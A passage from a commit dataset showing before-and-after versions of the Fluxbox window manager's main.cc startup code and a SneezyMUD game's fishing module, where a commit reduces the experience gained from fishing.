<filename>\\t\\t\\tlog output to file.\\n\"\n                              \"\t-help\\t\\t\\t\\tdisplay this help text and exit.\\n\\n\"),\n                   __fluxbox_version, \"2001-2003\");\n            exit(0);\n        } else if (strcmp(argv[i], \"-info\") == 0 || strcmp(argv[i], \"-i\") == 0) {\n            showInfo(cout);\n            ::exit(0);\n        }\n    }\n\n#ifdef __EMX__\n    _chdir2(getenv(\"X11ROOT\"));\n#endif \/\/ __EMX__\n    std::auto_ptr<Fluxbox> fluxbox;\n    int exitcode=EXIT_FAILURE;\n\n    streambuf *outbuf = 0;\n    streambuf *errbuf = 0;\n\n    ofstream log_file(log_filename.c_str());\n\n    \/\/ setup log file\n    if (log_file) {\n        cerr<<\"Loggin to: \"<<log_filename<<endl;\n        log_file<<\"------------------------------------------\"<<endl;\n        log_file<<\"Logfile: \"<<log_filename<<endl;\n        showInfo(log_file);\n        log_file<<\"------------------------------------------\"<<endl;\n        \/\/ setup log to use cout and cerr stream\n        outbuf = cout.rdbuf(log_file.rdbuf());\n        errbuf = cerr.rdbuf(log_file.rdbuf());\n    }\n\n    try {\n\t\t\n        fluxbox.reset(new Fluxbox(argc, argv, session_display.c_str(), rc_file.c_str()));\n        fluxbox->eventLoop();\n\n\texitcode = EXIT_SUCCESS;\n\n    } catch (std::out_of_range &oor) {\n        cerr<<\"Fluxbox: Out of range: \"<<oor.what()<<endl;\n    } catch (std::runtime_error &re) {\n        cerr<<\"Fluxbox: Runtime error: \"<<re.what()<<endl;\n    } catch (std::bad_cast &bc) {\n        cerr<<\"Fluxbox: Bad cast: \"<<bc.what()<<endl; \n    } catch (std::bad_alloc &ba) {\n        cerr<<\"Fluxbox: Bad Alloc: \"<<ba.what()<<endl;\n    } catch (std::exception &e) {\n        cerr<<\"Fluxbox: Standard exception: \"<<e.what()<<endl;\n    } catch (std::string error_str) {\n        cerr<<\"Error: \"<<error_str<<endl;\n    } catch (...) {\n        cerr<<\"Fluxbox: Unknown error.\"<<endl;\n        abort();\n    }\n \n    \/\/ restore cout and cin streams\n    if (outbuf != 0)\n        cout.rdbuf(outbuf);\n    if (errbuf != 0)\n        cerr.rdbuf(errbuf);\n\n    return exitcode;\n}\n<commit_msg>minor fix<commit_after>\/\/ main.cc for Fluxbox Window manager\n\/\/ Copyright (c) 2001 - 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/               and 2003 Simon Bowden (rathnor at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: main.cc,v 1.19 2003\/07\/10 12:01:17 fluxgen Exp $\n\n#include \"fluxbox.hh\"\n#include \"I18n.hh\"\n#include \"version.h\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif \/\/ HAVE_CONFIG_H\n\n\/\/use GNU extensions\n#ifndef\t _GNU_SOURCE\n#define\t _GNU_SOURCE\n#endif \/\/ _GNU_SOURCE\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <iostream>\n#include <fstream>\n#include <stdexcept>\n#include <typeinfo>\n\nusing namespace std;\nvoid showInfo(ostream &ostr) {\n    ostr<<\"Fluxbox version: \"<<__fluxbox_version<<endl;\n    ostr<<\"Compiled: \"<<__DATE__<<\" \"<<__TIME__<<endl;\n    ostr<<\"Compiler: \";\n#ifdef  __GNUG__ \n    ostr<<\"GCC\";\n#else\n    ostr<<\"Unknown\";\n#endif\n    ostr<<endl<<\"Compiler version: \"<<__VERSION__<<endl;    \n\n    const char NOT[] = \"-\";\n    ostr<<\"Compiled options (\"<<NOT<<\" => disabled): \"<<endl<<\n#ifndef DEBUG\n        NOT<<\n#endif \/\/ DEBUG                \n        \"DEBUG\"<<endl<<\n#ifndef SLIT\n        NOT<<\n#endif \/\/ SLIT\n        \"SLIT\"<<endl<<\n#ifndef HAVE_XPM\n        NOT<<\n#endif \/\/ HAVE_XPM\n        \"XPM\"<<endl<<\n#ifndef USE_GNOME\n        NOT<<\n#endif \/\/ USE_GNOME \n        \"GNOME\"<<endl<<\n#ifndef KDE\n        NOT<<\n#endif \/\/ KDE\n        \"KDE\"<<endl<<\n#ifndef USE_NEWWMSPEC\n        NOT<<\n#endif \/\/ USE_NEWWMSPEC\n        \"EWMH\"<<endl<<\n#ifndef REMEMBER\n        NOT<<\n#endif \/\/ REMEMBER\n        \"REMEMBER\"<<endl<<\n#ifndef SHAPE\n        NOT<<\n#endif \/\/ SHAPE\n        \"SHAPE\"<<endl<<\n#ifndef USE_XFT\n        NOT<<\n#endif \/\/ USE_XFT\n        \"XFT\"<<endl<<\n#ifndef USE_XMB\n        NOT<<\n#endif \/\/ USE_XMB\n        \"XMB\"<<endl<<\n#ifndef XINERAMA\n        NOT<<\n#endif \/\/ XINERAMA\n        \"XINERAMA\"<<endl<<\n#ifndef HAVE_XRENDER\n        NOT<<\n#endif \/\/ HAVE_XRENDER\n        \"RENDER\"<<endl<<\n        endl;\n}\n\nint main(int argc, char **argv) {\n\t\n    std::string session_display;\n    std::string rc_file;\n    std::string log_filename;\n\n    NLSInit(\"fluxbox.cat\");\n    I18n &i18n = *I18n::instance();\n\t\n    int i;\n    for (i = 1; i < argc; ++i) {\n        if (! strcmp(argv[i], \"-rc\")) {\n            \/\/ look for alternative rc file to use\n\n            if ((++i) >= argc) {\n                fprintf(stderr,\n                        i18n.getMessage(FBNLS::mainSet, FBNLS::mainRCRequiresArg,\n                                         \"error: '-rc' requires and argument\\n\"));\t\n                exit(1);\n            }\n\n            rc_file = argv[i];\n        } else if (! strcmp(argv[i], \"-display\")) {\n            \/\/ check for -display option... to run on a display other than the one\n            \/\/ set by the environment variable DISPLAY\n\n            if ((++i) >= argc) {\n                fprintf(stderr,\n                        i18n.getMessage(FBNLS::mainSet, FBNLS::mainDISPLAYRequiresArg,\n                                         \"error: '-display' requires an argument\\n\"));\n                exit(1);\n            }\n\n            session_display = argv[i];\n            std::string display_env = \"DISPLAY=\" + session_display;\n            if (putenv(const_cast<char *>(display_env.c_str()))) {\n                fprintf(stderr,\n                        i18n.\n                        getMessage(FBNLS::mainSet, FBNLS::mainWarnDisplaySet,\n                                   \"warning: couldn't set environment variable 'DISPLAY'\\n\"));\n                perror(\"putenv()\");\n            }\n        } else if (strcmp(argv[i], \"-version\") == 0 || strcmp(argv[i], \"-v\") == 0) {\n            \/\/ print current version string\n            cerr<<\"Fluxbox \"<<__fluxbox_version<<\" : (c) 2001-2003 Henrik Kinnunen \"<<endl<<endl;\n            exit(0);\n        } else if (strcmp(argv[i], \"-log\") == 0 ) {\n            if (i + 1 >= argc) {\n                cerr<<\"error: '-log' need an argument\"<<endl;\n                exit(1);\n            }\n            log_filename = argv[++i];\n        } else if (strcmp(argv[i], \"-help\") == 0 || strcmp(argv[i], \"-h\") == 0) {\n            \/\/ print program usage and command line options\n            printf(i18n.\n                   getMessage(FBNLS::mainSet, FBNLS::mainUsage,\n                              \"Fluxbox %s : (c) %s Henrik Kinnunen\\n\"\n                              \"Website: http:\/\/www.fluxbox.org\/ \\n\\n\"\n                              \"\t-display <string>\\t\\tuse display connection.\\n\"\n                              \"\t-rc <string>\\t\\t\\tuse alternate resource file.\\n\"\n                              \"\t-version\\t\\t\\tdisplay version and exit.\\n\"\n                              \"\t-info\\t\\t\\t\\tdisplay some useful information.\\n\"\n                              \"\\t-log <filename>\\t\\t\\tlog output to file.\\n\"\n                              \"\t-help\\t\\t\\t\\tdisplay this help text and exit.\\n\\n\"),\n                   __fluxbox_version, \"2001-2003\");\n            exit(0);\n        } else if (strcmp(argv[i], \"-info\") == 0 || strcmp(argv[i], \"-i\") == 0) {\n            showInfo(cout);\n            exit(0);\n        }\n    }\n\n#ifdef __EMX__\n    _chdir2(getenv(\"X11ROOT\"));\n#endif \/\/ __EMX__\n    std::auto_ptr<Fluxbox> fluxbox;\n    int exitcode=EXIT_FAILURE;\n\n    streambuf *outbuf = 0;\n    streambuf *errbuf = 0;\n\n    ofstream log_file(log_filename.c_str());\n\n    \/\/ setup log file\n    if (log_file) {\n        cerr<<\"Loggin to: \"<<log_filename<<endl;\n        log_file<<\"------------------------------------------\"<<endl;\n        log_file<<\"Logfile: \"<<log_filename<<endl;\n        showInfo(log_file);\n        log_file<<\"------------------------------------------\"<<endl;\n        \/\/ setup log to use cout and cerr stream\n        outbuf = cout.rdbuf(log_file.rdbuf());\n        errbuf = cerr.rdbuf(log_file.rdbuf());\n    }\n\n    try {\n\t\t\n        fluxbox.reset(new Fluxbox(argc, argv, session_display.c_str(), rc_file.c_str()));\n        fluxbox->eventLoop();\n\n\texitcode = EXIT_SUCCESS;\n\n    } catch (std::out_of_range &oor) {\n        cerr<<\"Fluxbox: Out of range: \"<<oor.what()<<endl;\n    } catch (std::runtime_error &re) {\n        cerr<<\"Fluxbox: Runtime error: \"<<re.what()<<endl;\n    } catch (std::bad_cast &bc) {\n        cerr<<\"Fluxbox: Bad cast: \"<<bc.what()<<endl; \n    } catch (std::bad_alloc &ba) {\n        cerr<<\"Fluxbox: Bad Alloc: \"<<ba.what()<<endl;\n    } catch (std::exception &e) {\n        cerr<<\"Fluxbox: Standard exception: \"<<e.what()<<endl;\n    } catch (std::string error_str) {\n        cerr<<\"Error: \"<<error_str<<endl;\n    } catch (...) {\n        cerr<<\"Fluxbox: Unknown error.\"<<endl;\n        abort();\n    }\n \n    \/\/ restore cout and cin streams\n    if (outbuf != 0)\n        cout.rdbuf(outbuf);\n    if (errbuf != 0)\n        cerr.rdbuf(errbuf);\n\n    return exitcode;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdsneezy.h\"\n#include \"obj_tool.h\"\n#include \"process.h\"\n\nmap <int, bool> mRoomsFished;\n\nvoid TBeing::doFish(sstring direction){\n  TRoom *rp;\n  roomDirData *exitp;\n  const int ROOM_FISHING_SHACK=31818;\n\n  if(!(exitp=exitDir(getDirFromChar(direction))) || direction.empty()){\n    rp=roomp;\n  } else {\n    if(!exitp->to_room || !(rp = real_roomp(exitp->to_room))){\n      rp=roomp;      \n    }\n  }\n\n  if(rp->isUnderwaterSector()){\n    sendTo(\"You can't fish underwater!\\n\\r\");\n    return;\n  }\n  if(!rp->isWaterSector()){\n    sendTo(\"You can't fish on land!\\n\\r\");\n    return;\n  }\n\n\n  if(task){\n    stopTask();\n  }\n\n  sendTo(\"You start fishing.\\n\\r\");\n\n  if(getCond(DRUNK) > 10 && !::number(0,3) &&\n     (inRoom() < 31800 || inRoom() > 31899)){\n\n    sendTo(\"All of this drunken fishing has caused you to pass out.\\n\\r\");\n    sendTo(\"Strange things begin running through your mind...\\n\\r\");\n\n    setPosition(POSITION_SLEEPING);\n\n    TRoom *room = real_roomp(ROOM_FISHING_SHACK);\n    --(*this);\n    *room += *this;    \n  }\n\n  start_task(this, NULL, rp, TASK_FISHING, \"\", 2, inRoom(), 0, 0, 5);\n}\n\n\nTObj *catch_a_fish(TRoom *rp){\n  TObj *fish=NULL;\n  int nfresh=23, nmarine=34, nice=7;\n  int num=0;\n  const int freshfishes[]={13800, 13801, 13802, 13803, 13804, 13805, 13806,\n\t\t\t   13807, 13816, 13817, 13818, 13819, 13820, 13821,\n\t\t\t   13822, 13823, 13824, 13896, 617, 620, 621, 622,\n                           13814};\n  const int marinefishes[]={13808, 13809, 13810, 13811, 13812, 13813,\n\t\t\t    13815, 13825, 13826, 13827, 13828, 13829, 13830,\n\t\t\t    13831, 13832, 13833, 13834, 13835, 13836, 13837,\n\t\t\t    13838, 13839, 13840, 13897, 607, 608, 609, 610,\n                            611, 612, 613, 614, 615, 616};\n  const int icefishes[]={13875, 13876, 13877, 13878, 13879, 618, 619};\n  float weightmod=(((float)(::number(0,100))-50.0)\/100.0)+1.0;  \/\/ plus or minus 30%\n\n  \/\/  vlogf(LOG_PEEL, fmt(\"weightmod=%f\") %  weightmod);\n\n  if(!::number(0,99)){  \/\/ 1 in 100\n    \/\/ big one\n    weightmod = 2 + ((float)::number(0,100)\/100.0); \/\/ 2-3\n    \n    if(!::number(0,99)){ \/\/ 1 in 10000\n      \/\/ real big one\n      weightmod = 3 + ((float)::number(0,100)\/100.0); \/\/ 3-4\n\n      if(!::number(0,99)){ \/\/ 1 in 1000000\n\t\/\/ REAL big one\n\tweightmod = 4 + ((float)::number(0,100)\/100.0); \/\/ 4-5\n\n\tif(!::number(0,99)){ \/\/ 1 in 100000000\n\t  \/\/ freak of nature\n\t  weightmod = 5 + ((float)::number(0,500)\/100.0); \/\/ 5-10\n\t}\n      }\n    }\n  }\n\n  \n  bool adjustsize=true;\n  if(rp->getSectorType() == SECT_ICEFLOW){\n    num=::number(0,nmarine+nice-1);\n    if(num<nice)\n      fish=read_object(icefishes[num], VIRTUAL);\n    else\n      fish=read_object(marinefishes[num-nice], VIRTUAL);\n  } else if(rp->isOceanSector()){\n    if(!::number(0,nmarine)){\n      fish=read_object(12445, VIRTUAL); \/\/ some random crap item\n      adjustsize=false;\n    } else {\n      fish=read_object(marinefishes[::number(0,nmarine-1)], VIRTUAL);\n    }\n  } else { \/\/ if(rp->isRiverSector()){  \/\/ river or pond or lake or whatever\n    fish=read_object(freshfishes[::number(0,nfresh-1)], VIRTUAL);\n  }\n\n  if(adjustsize){\n    fish->setWeight(fish->getWeight()*weightmod);\n    fish->setVolume((int)(fish->getWeight()*200));\n  }\n\n  rp->setFished(rp->getFished()+1);\n\n  if (mRoomsFished.find(rp->number) == mRoomsFished.end())\n    mRoomsFished[rp->number] = true;\n\n  return fish;\n}\n\n\nTThing *findBait(TThing *stuff){\n  TThing *tt;\n  TTool *bait;\n  TThing *ret;\n\n  if(!stuff) \n    return NULL;\n\n  for(tt=stuff;tt;tt=tt->nextThing){\n    if(tt && (bait=dynamic_cast<TTool *>(tt)) &&\n       (bait->getToolType() == TOOL_FISHINGBAIT))\n      return tt;\n\n    if(tt && tt->getStuff() && (ret=findBait(tt->getStuff())))\n      return ret;\n  }\n\n  return NULL;\n}\n\n\n\n\nint task_fishing(TBeing *ch, cmdTypeT cmd, const char *, int pulse, TRoom *rp, TObj *)\n{\n  TTool *bait=NULL;\n  TThing *t=NULL, *tpole=NULL;\n  sstring buf;\n  TObj *fish=NULL, *pole=NULL;\n  int baitmax=1000, baitchance=0;\n  int polemax=5000, polechance=0;\n  int catchchance=0;\n\n\n  if(ch->utilityTaskCommand(cmd) || ch->nobrainerTaskCommand(cmd))\n    return FALSE;\n\n  \/\/ basic tasky safechecking\n  if (ch->isLinkdead() || (ch->in_room != ch->task->wasInRoom)){\n    act(\"You cease fishing.\",\n        FALSE, ch, 0, 0, TO_CHAR);\n    act(\"$n stops fishing.\",\n        TRUE, ch, 0, 0, TO_ROOM);\n    ch->stopTask();\n    return FALSE; \/\/ returning FALSE lets command be interpreted\n  }\n\n  TThing *ss=ch->getStuff();\n\n  \/\/ find our bait here\n  t=findBait(ss);\n  \n  int m=WEAR_NOWHERE;\n  while(!t && m<MAX_WEAR){\n    ++m;\n    t=findBait(ch->equipment[m]);\n  }\n\n\n  bait=dynamic_cast<TTool *>(t);\n\n  if(!bait){\n    ch->sendTo(\"You need to have some bait to fish.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  \n  \/\/ find our pole here\n  if((!(tpole=ch->heldInPrimHand()) && !(tpole = ch->heldInSecHand())) ||\n     !isname(\"fishingpole\", tpole->name)){\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  if(!(pole=dynamic_cast<TObj *>(tpole))){\n    vlogf(LOG_BUG, \"Hmm got a fishing pole that isn't a TObj\");\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n\n  \/*\n    do generic checks here\n   *\/\n\n\n  if(rp && !rp->isWaterSector()){\n    ch->sendTo(\"You can't fish on land!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n  if (ch->task && ch->task->timeLeft < 0){\n    ch->sendTo(\"You pack up and stop fishing.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n  switch (cmd) {\n    case CMD_TASK_CONTINUE:\n      ch->task->calcNextUpdate(pulse, PULSE_MOBACT * 5);\n\n      switch (ch->task->timeLeft) {\n\tcase 2:\n\t  \/\/ check for out of bait\n\t  bait->addToToolUses(-1);\n\t  if (bait->getToolUses() <= 0) {\n\t    act(\"Oops, you're out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n looks startled as $e realizes that $e is out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_ROOM);\n\t    ch->stopTask();\n\t    delete bait;\n\t    return FALSE;\n\t  }\n\n\n\t  buf = fmt(\"You bait %s with $p.\") % pole->shortDescr;\n\t  act(buf, FALSE, ch, bait, 0, TO_CHAR);\n\n\t  buf = fmt(\"$n baits %s with $p.\") % pole->shortDescr;\n          act(buf, TRUE, ch, bait, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 1:\n          act(\"You cast your line out.\",\n              FALSE, ch, NULL, 0, TO_CHAR);\n\t  act(\"$n casts $s line out.\",\n              TRUE, ch, NULL, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 0:\n\t  baitchance=(int)(((float)((float)(bait->obj_flags.cost*2)\/(float)baitmax))*25);\n\t  polechance=(int)(((float)((float)(pole->obj_flags.cost*2)\/(float)polemax))*25);\n\t  catchchance=::number(1,100);\n\t  \n\n\t  \/\/\t  vlogf(LOG_PEEL, fmt(\"fishing: baitcost=%i, bait=%i, pole=%i, catch=%i\") % \n\t  \/\/\tbait->obj_flags.cost % baitchance % polechance % catchchance);\n  \n\t  if((ch->bSuccess(SKILL_FISHING) ||\n\t      (!ch->doesKnowSkill(SKILL_FISHING) && !::number(0,99))) &&\n\t     (catchchance<(baitchance+polechance)) &&\n\t     (fish=catch_a_fish(rp)) &&\n\t     (::number(5,10) > rp->getFished())){\n            *ch += *fish;\n\n\t    \/\/\t    gain_exp(ch, fish->getWeight() * 10, -1);\n\t    int lvl=ch->GetMaxLevel();\n\t    if(lvl>15)\n\t      lvl-=15;\n\t    else\n\t      lvl=1;\n\n\t    \/\/ 10% exp variance\n\t    double exp=mob_exp(lvl);\n\t    exp *= (1.0+((::number(0,20)-10)\/100.0));\n\t    \n\t    gain_exp(ch, exp, -1);\n\n\t    ch->doSave(SILENT_YES);\n\n\t    act(\"You reel in $p!\",\n\t\tFALSE, ch, fish, 0, TO_CHAR);\n\t    act(\"$n reels in $p!\",\n\t\tTRUE, ch, fish, 0, TO_ROOM);\n\t  } else {\n\t    if(fish)\n\t      delete fish;\n\n\t    act(\"You didn't catch anything.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n doesn't catch anything.\",\n\t\tTRUE, ch, NULL, 0, TO_ROOM);\n\n            \/\/ Don't reveal to the fisherman that there isn't any more fish\n            \/\/ in the room.\n            \/*\n\t    if(rp->getFished()>10){\n\t      act(\"This place seems all fished out.\",\n\t\t  FALSE, ch, NULL, 0, TO_CHAR);\n\t    }\n            *\/\n\t  }\n\t  ch->stopTask();\n          break;\n      }\n      break;\n    case CMD_ABORT:\n    case CMD_STOP:\n      act(\"You cease fishing.\",\n          FALSE, ch, 0, 0, TO_CHAR);\n      act(\"$n stops fishing.\",\n          TRUE, ch, 0, 0, TO_ROOM);\n      ch->stopTask();\n      break;\n    case CMD_TASK_FIGHTING:\n      ch->sendTo(\"You have not yet mastered the art of fighting while fishing.\\n\\r\");\n      ch->stopTask();\n      break;\n    default:\n      if (cmd < MAX_CMD_LIST)\n        warn_busy(ch);\n      break;                    \/\/ eat the command\n  }\n  return TRUE;\n}\n\n\/\/ procFishRespawning\nprocFishRespawning::procFishRespawning(const int &p)\n{\n  trigger_pulse=p;\n  name=\"procFishRespawning\";\n}\n\nvoid procFishRespawning::run(int pulse) const\n{\n  map <int, bool> ::iterator tIter     = mRoomsFished.begin(),\n                             tLastGood = mRoomsFished.begin();\n\n  while (tIter != mRoomsFished.end()) {\n    TRoom * tRoom = real_roomp((*tIter).first);\n\n    if (!tRoom) {\n      vlogf(LOG_BUG, fmt(\"handleFishRespawning() handling non-existent room! (%d)\") % (*tIter).first);\n      continue;\n    }\n\n    \/\/ Make it only a chance.\n    if ((tRoom->getFished() > 0) && !::number(0, 24))\n      tRoom->setFished(tRoom->getFished() - 1);\n\n    if (tRoom->getFished() < 1) {\n      if (tIter == tLastGood) {\n        mRoomsFished.erase(tIter);\n        tIter = tLastGood = mRoomsFished.begin();\n      } else {\n        mRoomsFished.erase(tIter);\n        tIter = tLastGood;\n      }\n    } else\n      tLastGood = tIter;\n\n    if (tIter == mRoomsFished.end())\n      break;\n\n    ++tIter;\n  }\n}\n<commit_msg>fishing exp gain adjustment was WAY too high<commit_after>#include \"stdsneezy.h\"\n#include \"obj_tool.h\"\n#include \"process.h\"\n\nmap <int, bool> mRoomsFished;\n\nvoid TBeing::doFish(sstring direction){\n  TRoom *rp;\n  roomDirData *exitp;\n  const int ROOM_FISHING_SHACK=31818;\n\n  if(!(exitp=exitDir(getDirFromChar(direction))) || direction.empty()){\n    rp=roomp;\n  } else {\n    if(!exitp->to_room || !(rp = real_roomp(exitp->to_room))){\n      rp=roomp;      \n    }\n  }\n\n  if(rp->isUnderwaterSector()){\n    sendTo(\"You can't fish underwater!\\n\\r\");\n    return;\n  }\n  if(!rp->isWaterSector()){\n    sendTo(\"You can't fish on land!\\n\\r\");\n    return;\n  }\n\n\n  if(task){\n    stopTask();\n  }\n\n  sendTo(\"You start fishing.\\n\\r\");\n\n  if(getCond(DRUNK) > 10 && !::number(0,3) &&\n     (inRoom() < 31800 || inRoom() > 31899)){\n\n    sendTo(\"All of this drunken fishing has caused you to pass out.\\n\\r\");\n    sendTo(\"Strange things begin running through your mind...\\n\\r\");\n\n    setPosition(POSITION_SLEEPING);\n\n    TRoom *room = real_roomp(ROOM_FISHING_SHACK);\n    --(*this);\n    *room += *this;    \n  }\n\n  start_task(this, NULL, rp, TASK_FISHING, \"\", 2, inRoom(), 0, 0, 5);\n}\n\n\nTObj *catch_a_fish(TRoom *rp){\n  TObj *fish=NULL;\n  int nfresh=23, nmarine=34, nice=7;\n  int num=0;\n  const int freshfishes[]={13800, 13801, 13802, 13803, 13804, 13805, 13806,\n\t\t\t   13807, 13816, 13817, 13818, 13819, 13820, 13821,\n\t\t\t   13822, 13823, 13824, 13896, 617, 620, 621, 622,\n                           13814};\n  const int marinefishes[]={13808, 13809, 13810, 13811, 13812, 13813,\n\t\t\t    13815, 13825, 13826, 13827, 13828, 13829, 13830,\n\t\t\t    13831, 13832, 13833, 13834, 13835, 13836, 13837,\n\t\t\t    13838, 13839, 13840, 13897, 607, 608, 609, 610,\n                            611, 612, 613, 614, 615, 616};\n  const int icefishes[]={13875, 13876, 13877, 13878, 13879, 618, 619};\n  float weightmod=(((float)(::number(0,100))-50.0)\/100.0)+1.0;  \/\/ plus or minus 30%\n\n  \/\/  vlogf(LOG_PEEL, fmt(\"weightmod=%f\") %  weightmod);\n\n  if(!::number(0,99)){  \/\/ 1 in 100\n    \/\/ big one\n    weightmod = 2 + ((float)::number(0,100)\/100.0); \/\/ 2-3\n    \n    if(!::number(0,99)){ \/\/ 1 in 10000\n      \/\/ real big one\n      weightmod = 3 + ((float)::number(0,100)\/100.0); \/\/ 3-4\n\n      if(!::number(0,99)){ \/\/ 1 in 1000000\n\t\/\/ REAL big one\n\tweightmod = 4 + ((float)::number(0,100)\/100.0); \/\/ 4-5\n\n\tif(!::number(0,99)){ \/\/ 1 in 100000000\n\t  \/\/ freak of nature\n\t  weightmod = 5 + ((float)::number(0,500)\/100.0); \/\/ 5-10\n\t}\n      }\n    }\n  }\n\n  \n  bool adjustsize=true;\n  if(rp->getSectorType() == SECT_ICEFLOW){\n    num=::number(0,nmarine+nice-1);\n    if(num<nice)\n      fish=read_object(icefishes[num], VIRTUAL);\n    else\n      fish=read_object(marinefishes[num-nice], VIRTUAL);\n  } else if(rp->isOceanSector()){\n    if(!::number(0,nmarine)){\n      fish=read_object(12445, VIRTUAL); \/\/ some random crap item\n      adjustsize=false;\n    } else {\n      fish=read_object(marinefishes[::number(0,nmarine-1)], VIRTUAL);\n    }\n  } else { \/\/ if(rp->isRiverSector()){  \/\/ river or pond or lake or whatever\n    fish=read_object(freshfishes[::number(0,nfresh-1)], VIRTUAL);\n  }\n\n  if(adjustsize){\n    fish->setWeight(fish->getWeight()*weightmod);\n    fish->setVolume((int)(fish->getWeight()*200));\n  }\n\n  rp->setFished(rp->getFished()+1);\n\n  if (mRoomsFished.find(rp->number) == mRoomsFished.end())\n    mRoomsFished[rp->number] = true;\n\n  return fish;\n}\n\n\nTThing *findBait(TThing *stuff){\n  TThing *tt;\n  TTool *bait;\n  TThing *ret;\n\n  if(!stuff) \n    return NULL;\n\n  for(tt=stuff;tt;tt=tt->nextThing){\n    if(tt && (bait=dynamic_cast<TTool *>(tt)) &&\n       (bait->getToolType() == TOOL_FISHINGBAIT))\n      return tt;\n\n    if(tt && tt->getStuff() && (ret=findBait(tt->getStuff())))\n      return ret;\n  }\n\n  return NULL;\n}\n\n\n\n\nint task_fishing(TBeing *ch, cmdTypeT cmd, const char *, int pulse, TRoom *rp, TObj *)\n{\n  TTool *bait=NULL;\n  TThing *t=NULL, *tpole=NULL;\n  sstring buf;\n  TObj *fish=NULL, *pole=NULL;\n  int baitmax=1000, baitchance=0;\n  int polemax=5000, polechance=0;\n  int catchchance=0;\n\n\n  if(ch->utilityTaskCommand(cmd) || ch->nobrainerTaskCommand(cmd))\n    return FALSE;\n\n  \/\/ basic tasky safechecking\n  if (ch->isLinkdead() || (ch->in_room != ch->task->wasInRoom)){\n    act(\"You cease fishing.\",\n        FALSE, ch, 0, 0, TO_CHAR);\n    act(\"$n stops fishing.\",\n        TRUE, ch, 0, 0, TO_ROOM);\n    ch->stopTask();\n    return FALSE; \/\/ returning FALSE lets command be interpreted\n  }\n\n  TThing *ss=ch->getStuff();\n\n  \/\/ find our bait here\n  t=findBait(ss);\n  \n  int m=WEAR_NOWHERE;\n  while(!t && m<MAX_WEAR){\n    ++m;\n    t=findBait(ch->equipment[m]);\n  }\n\n\n  bait=dynamic_cast<TTool *>(t);\n\n  if(!bait){\n    ch->sendTo(\"You need to have some bait to fish.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  \n  \/\/ find our pole here\n  if((!(tpole=ch->heldInPrimHand()) && !(tpole = ch->heldInSecHand())) ||\n     !isname(\"fishingpole\", tpole->name)){\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  if(!(pole=dynamic_cast<TObj *>(tpole))){\n    vlogf(LOG_BUG, \"Hmm got a fishing pole that isn't a TObj\");\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n\n  \/*\n    do generic checks here\n   *\/\n\n\n  if(rp && !rp->isWaterSector()){\n    ch->sendTo(\"You can't fish on land!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n  if (ch->task && ch->task->timeLeft < 0){\n    ch->sendTo(\"You pack up and stop fishing.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n  switch (cmd) {\n    case CMD_TASK_CONTINUE:\n      ch->task->calcNextUpdate(pulse, PULSE_MOBACT * 5);\n\n      switch (ch->task->timeLeft) {\n\tcase 2:\n\t  \/\/ check for out of bait\n\t  bait->addToToolUses(-1);\n\t  if (bait->getToolUses() <= 0) {\n\t    act(\"Oops, you're out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n looks startled as $e realizes that $e is out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_ROOM);\n\t    ch->stopTask();\n\t    delete bait;\n\t    return FALSE;\n\t  }\n\n\n\t  buf = fmt(\"You bait %s with $p.\") % pole->shortDescr;\n\t  act(buf, FALSE, ch, bait, 0, TO_CHAR);\n\n\t  buf = fmt(\"$n baits %s with $p.\") % pole->shortDescr;\n          act(buf, TRUE, ch, bait, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 1:\n          act(\"You cast your line out.\",\n              FALSE, ch, NULL, 0, TO_CHAR);\n\t  act(\"$n casts $s line out.\",\n              TRUE, ch, NULL, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 0:\n\t  baitchance=(int)(((float)((float)(bait->obj_flags.cost*2)\/(float)baitmax))*25);\n\t  